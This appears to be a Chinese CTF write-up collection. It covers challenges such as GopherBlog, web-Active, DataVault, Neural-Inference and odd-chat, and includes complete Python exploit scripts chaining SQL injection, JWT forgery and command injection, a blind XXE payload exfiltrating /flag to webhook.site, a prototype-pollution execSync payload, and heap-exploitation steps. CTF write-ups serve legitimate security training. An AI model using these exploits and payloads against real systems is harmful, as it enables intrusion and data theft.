  • content = <真正密钥>

脚本里对应函数:

  • get_jwt_secret():读取 posts[]title=="jwt_secret"content

4. 漏洞点 2:JWT 可伪造管理员身份

拿到 jwt_secret 后,HS256 就可以本地签发任意 token。

脚本中伪造 payload:

json 复制代码
{
  "username": "admin",
  "role": "admin",
  "iat": 1774490991,
  "exp": 1893456000
}

然后:

python 复制代码
sig = HMAC_SHA256(jwt_secret, base64url(header)+"."+base64url(payload))

最终得到管理员 token cookie。

脚本对应:

  • make_jwt()

5. 漏洞点 3:newsletter 预览命令注入

5.1 入口

复制代码
POST /admin/newsletter

脚本提交:

text 复制代码
action=preview
title=127.0.0.1;cat /flag #
content=x
template={{.Mailer.Configure .Title 80}}{{.Mailer.Ping}}

5.2 原理

模板中调用了后端 Mailer 方法:

  1. .Mailer.Configure .Title 80:把 Title 当作 host
  2. .Mailer.Ping:执行系统命令探测 SMTP 连通性

由于 host 没做安全处理,title 中的 ; 可打断原命令,注入任意 shell 命令。

# 用于注释后续参数,避免语法冲突。

所以 cat /flag 的输出进入 preview 响应。

脚本对应:

  • run_rce()

6. 一键利用流程

6.1 直接运行脚本

bash 复制代码
python exp_gopherblog.py "https://<target>:8080"

默认执行命令是 cat /flag,脚本会自动:

  1. 注入拿 jwt_secret
  2. 伪造 admin JWT
  3. 触发命令注入
  4. 正则提取 flag{...}

exp

py 复制代码
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import re
import sys
from typing import Optional

import requests
import urllib3


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def make_jwt(secret: str, username: str = "admin", role: str = "admin") -> str:
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "username": username,
        "role": role,
        "iat": 1774490991,
        "exp": 1893456000,
    }
    header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
    payload_b64 = b64url(json.dumps(payload, separators=(",", ":")).encode())
    signing_input = f"{header_b64}.{payload_b64}"
    sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
    return f"{signing_input}.{b64url(sig)}"


def get_jwt_secret(session: requests.Session, base: str, timeout: int) -> str:
    sqli = "%' UNION SELECT 1,key,value,'x','x',datetime('now') FROM settings -- "
    r = session.get(
        f"{base}/api/posts/search",
        params={"q": sqli},
        timeout=timeout,
        verify=False,
    )
    r.raise_for_status()
    data = r.json()
    for post in data.get("posts", []):
        if post.get("title") == "jwt_secret":
            return post.get("content", "")
    raise RuntimeError("jwt_secret not found in SQLi response")


def run_rce(
    session: requests.Session, base: str, token: str, command: str, timeout: int
) -> str:
    host_payload = f"127.0.0.1;{command} #"
    body = {
        "action": "preview",
        "title": host_payload,
        "content": "x",
        "template": "{{.Mailer.Configure .Title 80}}{{.Mailer.Ping}}",
    }
    r = session.post(
        f"{base}/admin/newsletter",
        data=body,
        cookies={"token": token},
        timeout=timeout,
        verify=False,
    )
    r.raise_for_status()
    try:
        j = r.json()
        return j.get("preview", j.get("error", ""))
    except Exception:
        return r.text


def extract_flag(text: str) -> Optional[str]:
    m = re.search(r"flag\{[^}]+\}", text, re.IGNORECASE)
    return m.group(0) if m else None


def main() -> int:
    parser = argparse.ArgumentParser(
        description="GopherBlog CTF exploit (SQLi -> JWT forge -> command injection)"
    )
    parser.add_argument(
        "url",
        help="Target base URL, e.g. https://xxx.cloudeci1.ichunqiu.com:8080",
    )
    parser.add_argument(
        "--cmd",
        default="cat /flag",
        help="Command to run via injection (default: cat /flag)",
    )
    parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout seconds")
    args = parser.parse_args()

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    base = args.url.rstrip("/")
    session = requests.Session()

    try:
        secret = get_jwt_secret(session, base, args.timeout)
        print(f"[+] jwt_secret: {secret}")

        token = make_jwt(secret)
        print(f"[+] forged admin JWT: {token[:40]}...")

        output = run_rce(session, base, token, args.cmd, args.timeout)
        print("[+] command output:")
        print(output)

        flag = extract_flag(output)
        if flag:
            print(f"[+] FLAG: {flag}")
            return 0

        print("[-] flag not found in output, try another --cmd")
        return 1
    except Exception as e:
        print(f"[!] exploit failed: {e}", file=sys.stderr)
        return 2


if __name__ == "__main__":
    raise SystemExit(main())

web-Active

0x01 题目分析

访问靶机地址,主页是一个名为"金融洞察"的静态/半静态页面。经过目录扫描或初步的测试,发现在访问某些特定路由(如 /permit 或 /parse )时,可能会遇到 403 权限拦截或跳转登录。

根据典型的 Java Web 架构特征,猜测后端可能使用了 Apache Shiro 框架进行权限校验。

0x02 漏洞突破一:Shiro 权限绕过

尝试经典的 Shiro 权限绕过漏洞(如利用路径匹配差异)。我们发现目标应用在处理带有换行符 %0a 的路径时存在逻辑缺陷。

构造 Payload:

复制代码
GET /permit/%0atest HTTP/1.1
Host: eci-2zedy08u4waij4hujxg3.
cloudeci1.ichunqiu.com:8081

成功绕过了 Shiro 的权限拦截,返回 200 OK ,并在响应包中发现了一个名为 "XML解析工具" 的隐藏功能页面。通过审查该页面逻辑,发现其后端存在多个 XML 解析接口,如 /parse/sax-parser 。

0x03 漏洞突破二:Blind XXE (OOB)

直接向 /parse/sax-parser 接口发送包含常规 XXE 的 Payload,发现服务器会解析 XML(例如构造错误 XML 会报 500),但 没有任何回显 。由此判断这里存在 盲打 XXE (Blind XXE) ,需要通过带外数据(OOB - Out of Band)的方式将目标机上的文件内容带出。

1. 构造恶意的外部 DTD

由于 Java 高版本对内联 DTD 限制较多,且我们需要拼接外部变量,这里使用参数实体结合外部 DTD 的经典 OOB 打法。

编写恶意的 xxe.dtd 文件,内容如下:

复制代码
<!ENTITY % file SYSTEM 'file:///
flag'> 
<!ENTITY % eval "<!ENTITY &#x25; 
exfil SYSTEM 'https://webhook.site/
225ac1ed-8e32-40e3-a966-31012754ed25/
?d=%file;'>"> 
%eval; 
%exfil;

原理:首先读取本地 /flag 文件存入 %file 实体,然后将 %file 的内容拼接到 webhook.site 的请求参数中并执行。

将上述 DTD 内容上传到公网可以访问的 Pastebin(如 paste.rs ),获得外部 DTD 的托管链接: https://paste.rs/J4Cpp

2. 触发 XML 解析

向绕过鉴权后的接口 /parse/sax-parser 发送 POST 请求,引用我们托管在公网的外部 DTD:

复制代码
POST /parse/sax-parser HTTP/1.1
Host: eci-2zedy08u4waij4hujxg3.
cloudeci1.ichunqiu.com:8081
Content-Type: application/xml

<?xml version="1.0"?> 
<!DOCTYPE financialReport [ 
<!ENTITY % remote SYSTEM "https://
paste.rs/J4Cpp"> 
%remote; 
]> 
<financialReport><a>1</a></
financialReport>

0x04 成功获取 Flag

发送上述请求后,靶机后台的 SAX 解析器会去拉取 https://paste.rs/J4Cpp ,并根据 DTD 指令读取 /flag 文件,最后向我们的 Webhook 发起 HTTP GET 请求。

查看 Webhook 接收记录,成功看到靶机携带 Flag 的请求:

复制代码
GET /?d=flag
{20abfdae-3902-44b7-aa5e-00a1e06bf8cc
} HTTP/1.1
Host: webhook.site
User-Agent: Java/1.8.0_xxx

最终得到 Flag: flag{20abfdae-3902-44b7-aa5e-00a1e06bf8cc}

exp

py 复制代码
import sys
import time
import re
import urllib.parse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


TARGET = "https://eci-2zedy08u4waij4hujxg3.cloudeci1.ichunqiu.com:8081"
WEBHOOK_SITE = "https://webhook.site"
PASTE_API = "https://paste.rs"


def create_webhook_site_inbox(session: requests.Session) -> tuple[str, str]:
    r = session.post(f"{WEBHOOK_SITE}/token", headers={"Accept": "application/json"}, timeout=20)
    r.raise_for_status()
    token = r.json()["uuid"]
    return token, f"{WEBHOOK_SITE}/{token}"


def upload_dtd(session: requests.Session, exfil_url: str) -> str:
    dtd = f"<!ENTITY % file SYSTEM 'file:///flag'>\n<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM '{exfil_url}'>\">\n%eval;\n%exfil;"
    r = session.post(PASTE_API + "/", data=dtd.encode(), timeout=20)
    r.raise_for_status()
    return r.text.strip()


def trigger_xxe(session: requests.Session, dtd_url: str) -> requests.Response:
    xml = f'<?xml version="1.0"?>\n<!DOCTYPE financialReport [\n<!ENTITY % remote SYSTEM "{dtd_url}">\n%remote;\n]>\n<financialReport><a>1</a ></financialReport>'
    return session.post(
        f"{TARGET}/parse/sax-parser",
        data=xml.encode(),
        headers={"Content-Type": "application/xml"},
        verify=False,
        timeout=30,
    )


def poll_flag(session: requests.Session, token: str, retries: int = 25) -> str | None:
    api = f"{WEBHOOK_SITE}/token/{token}/requests?sorting=desc"
    for _ in range(retries):
        time.sleep(1)
        try:
            r = session.get(api, headers={"Accept": "application/json"}, timeout=20)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        data = r.json().get("data", [])
        for item in data:
            q = item.get("query")
            if not q:
                continue
            if isinstance(q, dict):
                vals = q.get("d")
                if vals:
                    v = vals[0] if isinstance(vals, list) else vals
                    if v:
                        return v
            if isinstance(q, str) and "d=" in q:
                parsed = urllib.parse.parse_qs(q)
                vlist = parsed.get("d", [])
                if vlist:
                    return vlist[0]
    return None


def check_shiro_bypass(session: requests.Session) -> bool:
    r = session.get(f"{TARGET}/permit/%0atest", verify=False, timeout=15)
    return r.status_code == 200 and ("XML解析工具" in r.text or "XML" in r.text)


def main() -> int:
    s = requests.Session()
    print("[*] Checking Shiro filter bypass /permit/%0atest ...")
    bypass_ok = check_shiro_bypass(s)
    print(f"    bypass={'OK' if bypass_ok else 'FAILED'}")
    print("[*] Creating webhook.site inbox ...")
    token, inbox_url = create_webhook_site_inbox(s)
    print(f"    token={token}")
    exfil_https = f"{inbox_url}/?d=%file;"
    print("[*] Uploading external DTD (https) ...")
    dtd_url = upload_dtd(s, exfil_https)
    print(f"    dtd_url={dtd_url}")
    print("[*] Triggering XXE (https exfil) ...")
    resp = trigger_xxe(s, dtd_url)
    print(f"    trigger_status={resp.status_code}")
    print("[*] Polling inbox for flag ...")
    flag = poll_flag(s, token)
    if not flag:
        print("[*] HTTPS exfil not received, trying HTTP fallback ...")
        dtd_url2 = upload_dtd(s, f"{inbox_url.replace('https://','http://')}/?d=%file;")
        print(f"    dtd_url={dtd_url2}")
        resp2 = trigger_xxe(s, dtd_url2)
        print(f"    trigger_status={resp2.status_code}")
        flag = poll_flag(s, token)
    if not flag:
        print("[!] Flag not received in time.")
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    sys.exit(main())
import time

TARGET_URL = 'http://node4.anna.nssctf.cn:26434'

payload = {
    "hero.name": "锐雯",
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync('cat /flag* > ./views/index.html')"
    }
}

try:
    resp1 = requests.post(TARGET_URL + '/api/submit', json=payload)
    print("污染请求状态码:", resp1.status_code)
    print("污染响应内容:", resp1.text)
    
    time.sleep(1)
    
    resp2 = requests.get(TARGET_URL + '/')
    print("GET / 响应状态码:", resp2.status_code)
    print("GET / 响应内容:", resp2.text[:200]) # Print first 200 chars
except Exception as e:
    print("请求出错:", e)

ezSM4

这题给了一个 ezSM4.exe,题目提示是"看起来很像 SM4,但是网上脚本解不开",所以我的第一反应不是去硬套现成库,而是先确认它到底改了哪里。最后做下来发现,题目其实没有改掉 SM4 的核心轮函数,真正的坑点是"分组时的字节序"。

\1. 先看程序行为

拿到附件先解压,里面只有一个很小的 PE 文件。用 strings 看一下,很快能看到几条很关键的信息:

Wrong length.

Wrong Answer.

Correct.

12345678abcdefgh

format: flag{xxx}, xxx is your input.

这里能直接得到两个信息:

程序最后只会输出长度错误、答案错误或答案正确。

存在一个固定 key:12345678abcdefgh。

程序提示最终提交格式是 flag{xxx},说明真正参与运算的应该只是里面的 xxx。

后面实际测试也能确认,程序真正校验的是一个 16 字节字符串,提交时再包上 flag{} 即可。

\2. 定位主逻辑

继续逆向主函数附近,很容易看到整体流程:

读入用户输入。

检查长度是不是 0x10,也就是 16 字节。

把固定 key 12345678abcdefgh 和用户输入分别封装成数据对象。

调用一个名为 SM4 的类做加密。

将结果和一组固定常量比较,相同就输出 Correct.。

比较的目标密文在主流程里是这样压进去的:

mov dword ptr [rbp - 0x10], 0x35465e4a

mov dword ptr [rbp - 0xc], 0x30e90896

mov dword ptr [rbp - 8], 0xa0ca28da

mov dword ptr [rbp - 4], 0x4d59a622

因为这里是在 x64 程序里按 dword 写入内存,所以真实的 16 字节比较值要按小端展开:

4a 5e 46 35 96 08 e9 30 da 28 ca a0 22 a6 59 4d

也就是目标密文:

4a5e46359608e930da28caa022a6594d

\3. 判断它是不是"真 SM4"

接着去看 SM4 类的构造函数,能发现三组非常眼熟的常量。

第一组是 FK:

A3B1BAC6 56AA3350 677D9197 B27022DC

第二组是 CK,开头是:

00070E15 1C232A31 383F464D 545B6269 ...

第三组是一张 256 字节替换表,前几个字节是:

D6 90 E9 FE CC E1 3D B7 16 B6 14 C2 28 FB 2C 05 ...

这三组值都和标准 SM4 完全一致。也就是说,题目不是自己发明了一个新算法,而是标准 SM4 的某个实现细节被改掉了。

\4. 真正的坑点:小端分组

继续看轮函数和密钥扩展,可以发现公式本身也还是标准 SM4:

X[i+4] = X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])

rk[i] = K[i] ^ T'(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])

其中线性变换也是标准的:

L(B) = B ^ rol(B,2) ^ rol(B,10) ^ rol(B,18) ^ rol(B,24)

L'(B) = B ^ rol(B,13) ^ rol(B,23)

所以网上脚本为什么解不开?关键就在"16 字节怎么拆成 4 个 32 位整数"。

标准 SM4 实现一般默认按大端处理,也就是:

X0 = int.from_bytes(block[0:4], 'big')

但这个题目的程序在整个流程里都没有做字节翻转,而是直接把内存里的 4 字节按小端 uint32 使用。换句话说,它实际等价于:

X0 = int.from_bytes(block[0:4], 'little')

key 也是一样,12345678abcdefgh 这 16 字节也是按 little-endian 方式拆成 4 个字。

这就是题目说"很像 SM4,但是脚本解不开"的原因:不是轮函数错了,而是字节序和普通脚本不一致。

\5. 还原脚本

把标准 SM4 改成 little-endian 版本后,直接对目标密文做解密就可以了。脚本如下:

from struct import pack, unpack

SBOX = bytes.fromhex(

"d690e9fecce13db716b614c228fb2c052b679a762abe04c3aa44132649860699"

"9c4250f491ef987a33540b43edcfac62e4b31ca9c908e89580df94fa758f3fa6"

"4707a7fcf37317ba83593c19e6854fa8686b81b27164da8bf8eb0f4b70569d35"

"1e240e5e6358d1a225227c3b01217887d40046579fd327524c3602e7a0c4c89e"

"eabf8ad240c738b5a3f7f2cef96115a1e0ae5da49b341a55ad933230f58cb1e3"

"1df6e22e8266ca60c02923ab0d534e6fd5db3745defd8e2f03ff6a726d6c5b51"

"8d1baf92bbddbc7f11d95c411f105ad80ac13188a5cd7bbd2d74d012b8e5b4b0"

"8969974a0c96777e65b9f109c56ec68418f07dec3adc4d2079ee5f3ed7cb3948"

)

FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]

CK = [

0x00070E15,0x1C232A31,0x383F464D,0x545B6269,0x70777E85,0x8C939AA1,0xA8AFB6BD,0xC4CBD2D9,

0xE0E7EEF5,0xFC030A11,0x181F262D,0x343B4249,0x50575E65,0x6C737A81,0x888F969D,0xA4ABB2B9,

0xC0C7CED5,0xDCE3EAF1,0xF8FF060D,0x141B2229,0x30373E45,0x4C535A61,0x686F767D,0x848B9299,

0xA0A7AEB5,0xBCC3CAD1,0xD8DFE6ED,0xF4FB0209,0x10171E25,0x2C333A41,0x484F565D,0x646B7279

]

def rol(x, n):

x &= 0xffffffff

return ((x << n) | (x >> (32 - n))) & 0xffffffff

def tau(a):

return (

​ (SBOX[(a >> 24) & 0xff] << 24) |

​ (SBOX[(a >> 16) & 0xff] << 16) |

​ (SBOX[(a >> 8) & 0xff] << 8) |

​ SBOX[a & 0xff]

)

def L(b):

return b ^ rol(b, 2) ^ rol(b, 10) ^ rol(b, 18) ^ rol(b, 24)

def L2(b):

return b ^ rol(b, 13) ^ rol(b, 23)

def key_schedule_le(key_bytes):

MK = list(unpack("<4I", key_bytes))

K = [MK[i] ^ FK[i] for i in range(4)]

rk = []

for i in range(32):

​ t = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]

​ K.append(K[i] ^ L2(tau(t)))

​ rk.append(K[-1])

return rk

def crypt_block_le(block, key_bytes, decrypt=False):

X = list(unpack("<4I", block))

rk = key_schedule_le(key_bytes)

if decrypt:

​ rk = rk[::-1]

for i in range(32):

​ t = X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i]

​ X.append(X[i] ^ L(tau(t)))

return pack("<4I", *X[-1:-5:-1])

key = b"12345678abcdefgh"

cipher = bytes.fromhex("4a5e46359608e930da28caa022a6594d")

plain = crypt_block_le(cipher, key, decrypt=True)

print(plain)

print(plain.decode())

flag{SENSOREDS4Little}

Lost-Signal

这题表面上看像是杂乱无章的损毁信号,实际核心信息都在 signal.txt 里。题目已经明确提示"内部逻辑完全基于 glove-twitter-25 词向量矩阵",所以重点不是按常识猜单词,而是一定要按照这个模型本身的向量结果来还原缺失词。

先看信号里的 6 组类比关系:

man is to king, ? is to queen

paris is to france, ? is to italy

bad is to worst, ? is to best

small is to tiny, ? is to massive

cat is to kitten, ? is to puppy

winter is to cold, ? is to hot

一开始我也想直接按正常英语语义去猜,比如 woman、rome、good、big、dog、summer,但这样拼出来的密码打不开 archive.zip。这里的坑就在于 glove-twitter-25 是推特语料训练出来的 25 维词向量,语义空间本身比较"偏网络语言",所以它给出的最相近词不一定符合人的直觉。

正确做法是用 gensim 下载 glove-twitter-25,然后对每一组关系跑:

model.most_similar(positive=[D, A], negative=[B], topn=1)

也就是把 A : B :: ? : D 转成 D - B + A 的向量类比。跑出来的 top-1 结果分别是:

man : king :: so : queen

paris : france :: brazil : italy

bad : worst :: cool : best

small : tiny :: deal : massive

cat : kitten :: dog : puppy

winter : cold :: fashion : hot

虽然这些词看起来很怪,但它们正是这个模型算出来最靠前的答案。接下来按题目顺序直接拼接,得到压缩包密码:

sobrazilcooldealdogfashion

然后解开 archive.zip,拿到 flag.txt,最终 flag 为:

flag{ae97fb341dc2e779b230f141fb7e04ee}

DataVault V3

这题是一个比较典型的 Web 综合题,核心是"信息泄露 + SSRF 绕过 + 密码学错误使用"的组合利用。题目描述里提到 Apache 反向代理、Python URL 白名单过滤、旧版本系统被安全销毁,以及一个还留在内网里的"幽灵密钥",这些提示其实已经把方向给出来了。

拿到目标后先访问首页 http://47.93.49.69:24643/,页面只有一个展示型前端,没有现成功能入口。但是响应头里能看到 Server: Apache/2.4.49 (Unix),这个版本本身就比较敏感。继续探测时发现一个很有意思的现象:大部分不存在的路径返回的是 Flask 风格的 404 页面,但访问 /assets/ 返回的是一个很老的 Apache 默认页面 It works!。这说明 /assets/ 很可能不是后端 Flask 处理,而是 Apache 本地静态目录。

既然是 Apache 2.4.49,再加上存在 Alias /assets/ 这种结构,马上就可以想到路径穿越。实际测试发现下面这个请求可以直接读系统文件:

http://47.93.49.69:24643/assets/../../../../../etc/passwd

成功拿到 /etc/passwd 之后,说明这条路完全可行。接着去读 Apache 配置文件 /usr/local/apache2/conf/httpd.conf,读出来的关键内容是:

Alias /assets/ "/usr/local/apache2/htdocs/"

<VirtualHost *:80>

ProxyPass /assets/ !

ProxyPass / http://127.0.0.1:8080/

ProxyPassReverse / http://127.0.0.1:8080/

这段配置说明两件事。第一,/assets/ 走 Apache 本地目录,所以才会存在穿越读取。第二,除了 /assets/ 以外,其余请求都被反向代理到了 127.0.0.1:8080,也就是说真正的业务逻辑在内网 Flask 服务里。

继续通过文件读取去找进程配置,读到 /etc/supervisor/conf.d/supervisord.conf,其中写着:

program:web

command=python3 /app/web/app.py

program:kms

command=python3 /app/kms/app.py

到这里后端代码路径就完全暴露了。再去读 /app/web/app.py 和 /app/kms/app.py,题目就基本明牌了。web/app.py 中最关键的两个路由是:

@app.route('/health_check')

def health_check():

url = request.args.get('url')

parsed_url = urllib.parse.urlparse(url)

domain = parsed_url.netloc

if "internal-kms" in domain or "127.0.0.1" in domain or "localhost" in domain:

​ return jsonify({"error": "WAF Blocked"})

r = requests.get(url, timeout=2)

@app.route('/api/v1/backup/snapshot')

def hidden_snapshot():

return jsonify(get_snapshot())

这里能看出来,/health_check 实际上就是一个 SSRF 点,但它对白名单的检查很弱,只是看 netloc 里有没有字符串 127.0.0.1、localhost 或 internal-kms。这意味着只要换一种等价写法表示回环地址,就能绕过,比如 2130706433 这个十进制整数形式,它对应的就是 127.0.0.1。

另外,/api/v1/backup/snapshot 会返回一个加密快照,其中包含 enc_data、tag、nonce 和 enc_dek。再看 kms/app.py:

KEK = os.urandom(32)

STATIC_NONCE = b'DataVaul'

@app.route('/api/v1/import_dek')

def import_dek():

dek = bytes.fromhex(dek_hex)

cipher = AES.new(KEK, AES.MODE_CTR, nonce=STATIC_NONCE)

enc_dek = cipher.encrypt(dek)

这里的问题非常致命。KMS 用 AES-CTR 加密 DEK,但 nonce 是固定的。CTR 模式本质上是明文和密钥流做异或,只要密钥和 nonce 不变,产生的密钥流就不变。也就是说,如果我能让 KMS 加密一段全 0 的 32 字节明文,那么返回的密文其实就是完整的 keystream。拿这个 keystream 再和快照里的 enc_dek 异或,就能直接还原原始 DEK。

所以完整利用链就是:

访问 /api/v1/backup/snapshot 获取加密快照。

用 SSRF 访问 http://2130706433:5000/api/v1/import_dek?dek=00...00。

因为 2130706433 不包含被过滤的关键字符串,所以成功打到内网 KMS。

KMS 返回"全 0 DEK 的 CTR 密文",这其实就是 keystream。

用 enc_dek XOR keystream 还原真实 old_dek。

再用这个 old_dek,配合快照中的 nonce 和 tag,对 enc_data 做 AES-GCM 解密,得到 flag。

最后成功解出:

flag{8a1cd526-7f8b-49fc-828f-1b93fbaccb57}

Neural-Inference

这道题是一个 AI 对话引擎服务,目标是拿到服务器里的 flag。题目给了一个利用脚本,但是我实际分析后发现脚本里有两个关键地方写错了,所以一开始直接跑是拿不到结果的。我的思路是先分析接口功能,再修正脚本,最后打通整条利用链。

\1. 题目分析

从脚本里可以看出服务主要有这几个接口:

/api/status:返回服务状态

/api/knowledge/upload:上传文件

/api/raw:发送原始数据包

/api/download:下载文件

其中最关键的是 /api/status 和 /api/raw。

访问 /api/status 后,接口会返回:

pid

uptime

同时响应头里还有 Date。所以可以算出服务启动时间:

start_time = server_time - uptime

这一步非常重要,因为后面的管理员密钥就是根据 pid 和 start_time 算出来的。

\2. 利用思路

整体利用流程如下:

通过 /api/status 获取 pid 和 uptime

用响应头 Date 算出 start_time

上传一个 run.sh

上传恶意的 malicious.ncm

伪造管理员命令,通过 /api/raw 触发模型加载

利用模型里的 pre_load_hook 执行 run.sh

把 /home/ctf/flag 复制到下载目录

最后通过 /api/download?file=flag.txt 下载 flag

\3. 关键漏洞

(1)状态接口泄露敏感信息

/api/status 返回了 pid 和 uptime,配合服务器时间就能推出进程启动时间。这样管理员密钥生成所需参数就泄露了。

(2)管理员密钥可本地复现

题目给出的脚本里有密钥生成函数 derive_admin_key,说明服务端的管理员密钥不是随机保存的,而是由固定算法推导出来的。只要参数知道,就能在本地算出正确密钥。

(3)模型加载功能可以执行 hook

上传的恶意 .ncm 文件中可以写入 pre_load_hook,服务端加载模型时会执行它。这样就可以借模型加载功能执行 shell 命令。

\4. 脚本修正点

题目给的脚本里有两个关键错误。

第一个错误:密钥推导函数写错了

原脚本里这一句是:

state ^= (state << 11) & 0xFFFFFFFF

正确应该是:

state ^= (state << 17) & 0xFFFFFFFF

如果不改,算出来的管理员密钥就是错的。

第二个错误:管理员命令号写错了

原脚本里写的是:

cmd = 1

但真正触发模型加载的命令应该是:

cmd = 0x02

只有这个命令才能让服务端加载恶意 .ncm,从而执行 hook。

\5. Exp 逻辑

先上传 run.sh

cp /home/ctf/flag /opt/neuralchat/downloads/flag.txt

chmod 777 /opt/neuralchat/downloads/flag.txt

再上传恶意 .ncm,在其中写入:

/opt/neuralchat/plugins/.../.../.../.../bin/sh /opt/neuralchat/data/knowledge/run.sh

这样服务在加载模型时就会执行 run.sh,把 flag 复制到下载目录。

然后构造管理员 token,向 /api/raw 发送伪造的管理员命令,触发模型加载。由于 start_time 可能有 1 到几秒误差,所以我在 [-5,5] 范围内尝试,最后成功触发。

最后访问:

/api/download?file=flag.txt

成功拿到 flag。

\6. 最终结果

拿到的 flag 是:

flag{6b0170b3-9e90-43fb-ac01-05d12a645fe6}

odd-chat

一、题目初步分析

这道题给了一个程序和一份 libc.so.6,看起来像是一个聊天系统。

我一开始先对程序做了基础检查,发现它是 64 位程序,保护情况大概是:

NX enabled

Canary found

No PIE

Partial RELRO

这个保护组合其实挺关键的。

因为 No PIE 说明程序本体地址是固定的,所以 .bss 和 GOT 地址也固定。

同时 Partial RELRO 说明 GOT 还可以改写,所以后面如果能拿到任意写,就有机会通过覆写 GOT 来劫持程序流程。

题目名字叫 odd-chat,再加上题面那句"他们怎么听不懂我说话",我一开始就怀疑这个程序对聊天内容做了什么处理。后面分析发现,程序确实会对输入内容做一层加密,所以正常输入的内容不会被原样显示出来。

二、程序功能分析

程序整体是一个菜单式的聊天系统,主要有下面几个功能:

Chat

Change name

View chat history

Clear chat

Quit

分析过程中,我比较关注的是几个全局变量的位置,大概有:

聊天链表头指针

聊天数量计数

name_ptr

默认用户名缓冲区

其中最关键的是 name_ptr。

因为 Change name 功能本质上就是往 name_ptr 指向的位置写数据,所以如果能控制这个指针,后面就能把它变成一个"任意地址写"的原语。

程序在聊天时,会先申请一个小堆块存消息,然后读入输入内容,再做一次加密,最后显示出来。

也就是说,消息不是直接按明文进入内存的,而是会先经过一层变换。

所以这题其实有两个层面:

一个是程序表面的"聊天和加密逻辑"

一个是真正用于利用的"堆漏洞"

三、漏洞点定位

题目的核心漏洞出现在 Chat 的长度处理部分。

程序原本的目的应该是想把输入长度限制在一个比较小的范围里,逻辑大概类似:

len = atoi(input);

len = abs(len) % 24;

正常情况下,这样确实能把长度控制住。

但是这里有一个经典边界问题,就是:

INT_MIN = -2147483648

对于 32 位有符号整数来说,abs(INT_MIN) 会溢出。

也就是说:

abs(-2147483648)

结果并不会变成正数,还是一个负值。

所以如果这里输入:

-2147483648

程序得到的长度就不是预期中的小正数,而是一个异常的负数。

后面的读入逻辑又存在 signed 和 unsigned 混用的问题,导致这个负数在比较时会被当成一个很大的无符号整数。这样一来,原本的长度限制就基本失效了。

而消息缓冲区本来只是一个很小的堆块,于是就造成了一个可控的堆溢出。

这一步是整道题最重要的地方。如果这里没有看出来,后面的利用链就接不上。

四、利用思路

我后面的整体思路是:

先构造两个相同大小的堆块

通过 clear() 把它们放进 tcache

再利用 INT_MIN 造成堆溢出

用这个溢出去改 tcache 链表指针

让下一次分配返回到全局变量 name_ptr

通过控制 name_ptr 实现任意地址写

先泄露 libc 地址

再覆写 atoi@got

让菜单输入 /bin/sh 时实际执行 system("/bin/sh")

整体上其实就是一条比较典型的 tcache poisoning 利用链。

五、具体利用过程

\1. 先布置堆块

我先申请两个小 chunk,记成 A 和 B。

然后调用 clear(),把这两个块释放掉。

这样它们就会进入 tcache。

\2. 利用 INT_MIN 触发溢出

接着再次调用 Chat,但是长度传入:

-2147483648

这个时候,程序会先从 tcache 中取回 chunk A,而 chunk B 还在 tcache 里。

因为现在有了溢出能力,就可以从 A 溢出覆盖到 B,把 B 在 tcache 里的 fd 指针改掉。

我把这个指针改成了全局变量 name_ptr 的位置,也就是:

0x6020f0

这样下一次再从 tcache 分配时,就有机会直接返回到这个全局变量。

\3. 劫持到 name_ptr

继续分配两次:

第一次拿走真正的 B

第二次就会返回伪造出来的 chunk,也就是 name_ptr

做到这里之后,相当于我已经可以改写 name_ptr 了。

而 Change name 的逻辑本来就是往 name_ptr 指向的地方写内容,所以一旦 name_ptr 可控,这个功能就等于变成了任意地址写。

六、泄露 libc 地址

接下来我先把 name_ptr 改成 atoi@got。

原因很简单:

程序后面在显示用户名的时候,会把 name_ptr 当字符串打印出来。

如果它现在指向的是 atoi@got,那么输出的其实就是 atoi 在 libc 中的真实地址内容。

虽然这里打印出来的不一定是完整的 8 字节,但前 6 字节一般就够恢复出真实地址了。

拿到 atoi 的地址之后,就可以根据给定的 libc 偏移算出 libc 基址,再进一步算出 system 的地址。

也就是:

libc_base = atoi_addr - atoi_offset

system_addr = libc_base + system_offset

七、覆写 GOT 拿 shell

到这里,最关键的一步就是把 atoi@got 改成 system。

因为程序主菜单每次都会调用 atoi() 去解析用户输入的选项。

如果我把 atoi@got 改成了 system,那么程序本来想做的:

atoi("/bin/sh")

就会变成:

system("/bin/sh")

所以这个时候只需要在菜单里输入:

/bin/sh

就能直接起 shell。

然后再执行:

cat /flag

cat flag

就能把 flag 读出来。

八、加密层的处理

这题还有一个比较烦的点,就是程序会对消息做加密。

如果不先把这个加密逻辑逆出来,那么我们发进去的 payload 会在程序内部被改掉,最后内存里的内容就不是我们想要的值。

所以 exp 里面专门写了一个逆变换函数,先把原始 payload 做一次处理。

这样等程序自己再加密一遍以后,堆上的实际内容才刚好是我想写进去的数据。

我觉得这个地方也是题目故意设置的一个干扰点。

如果只盯着堆利用,不处理这个加密层,exp 是打不通的。

Flag:flag{420ee3c2-9ffb-411c-b76c-d2da6dde3a4e}

相关推荐
李昊哲小课2 小时前
Python办公自动化教程 - 第2章 单元格样式魔法 - 让表格变得美观专业
开发语言·python·excel·openpyxl
tryCbest2 小时前
Pip生成requirements.txt文件
python·pip
橘子编程2 小时前
编程语言全指南:从C到Rust
java·c语言·开发语言·c++·python·rust·c#
ego.iblacat2 小时前
Flask 框架
后端·python·flask
我送炭你添花2 小时前
边走边聊 Python 3.8:Win7 从入门到高手(目录)
开发语言·python
w_t_y_y2 小时前
工具篇(一)机器学习常用的python包
